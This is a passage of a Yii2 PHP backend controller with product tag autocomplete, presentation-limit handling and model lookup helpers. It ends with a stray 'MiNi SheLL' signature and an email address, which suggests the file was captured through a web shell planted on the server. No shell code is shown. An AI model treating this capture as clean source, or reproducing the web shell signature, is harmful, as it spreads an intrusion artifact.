    public function actionAutocompleteTags()
    {
        $phrase = Yii::$app->request->get('phrase');
        $tags = [];
        if(!empty($phrase['term'])) {
            $tags = \common\models\ProductsTags::find()->select(['name'])->where(['ilike', 'name', $phrase['term']])->orderBy('quantity')->asArray()->column();
        }
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        
        return $tags;
    }
    
    public function actionAutocompleteParamsNames()
    {
        $phrase = Yii::$app->request->get('term');
        $names = [];
        if(!empty($phrase)) {
            //@todo proteza
            $names = ["waga", "szerokość", "wysokość", "długość", "kolor"];
        }
        Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
        
        return $names;
    }
    
    protected function detachFromPresentationsIfExceedsLimit($modelProduct)
    {
        if(empty($modelProduct->presentations)) {
            return true;
        }
        
        $modelsRelationsWithPresentations = $modelProduct->getRelationsWithPresentations()->with(['presentation'])->all();
        
        foreach($modelsRelationsWithPresentations as $modelRelationWithPresentation) {
            $limit = intval($modelRelationWithPresentation->presentation->getSettingsKey('products_limit'));
            $numberOfAssignedProducts = $modelRelationWithPresentation->presentation->getProducts()->andWhere(['status' => \common\models\types\Status::ACTIVE])->count();
            if($numberOfAssignedProducts >= $limit) {
                $modelsCompanyPresentationHasProducts = \common\models\CompaniesPresentationsHasProducts::find()
                        ->andWhere(['>', 'product_order', $modelRelationWithPresentation->product_order])
                        ->andWhere(['id_presentation' => $modelRelationWithPresentation->id_presentation])
                        ->andWhere(['!=', 'id_product', $modelRelationWithPresentation->id_product])
                        ->all();
                if(!empty($modelsCompanyPresentationHasProducts)) { 
                    foreach($modelsCompanyPresentationHasProducts as $modelCompanyPresentationHasProduct) {
                        $modelCompanyPresentationHasProduct->product_order -= 1;
                        if(!$modelCompanyPresentationHasProduct->save(false)) {
                            return false;
                        }
                    }
                }
                
                if($modelRelationWithPresentation->delete() === false) {
                    return false;
                }
            }
        }
        
        return true;
    }

    /**
     * Finds the Products model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Products the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModel($id)
    {
        if (($model = \backend\models\Products::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the Companies model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return Companies the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelCompany($id)
    {
        if (($model = Companies::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the ProductsAttachments model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return ProductsAttachments the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelAttachment($id)
    {
        if (($model = \common\models\ProductsAttachments::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
    
    /**
     * Finds the ProductsPhotos model based on its primary key value.
     * If the model is not found, a 404 HTTP exception will be thrown.
     * @param integer $id
     * @return ProductsPhotos the loaded model
     * @throws NotFoundHttpException if the model cannot be found
     */
    protected function findModelPhoto($id)
    {
        if (($model = \common\models\ProductsPhotos::findOne($id)) !== null) {
            return $model;
        } else {
            throw new NotFoundHttpException('The requested page does not exist.');
        }
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com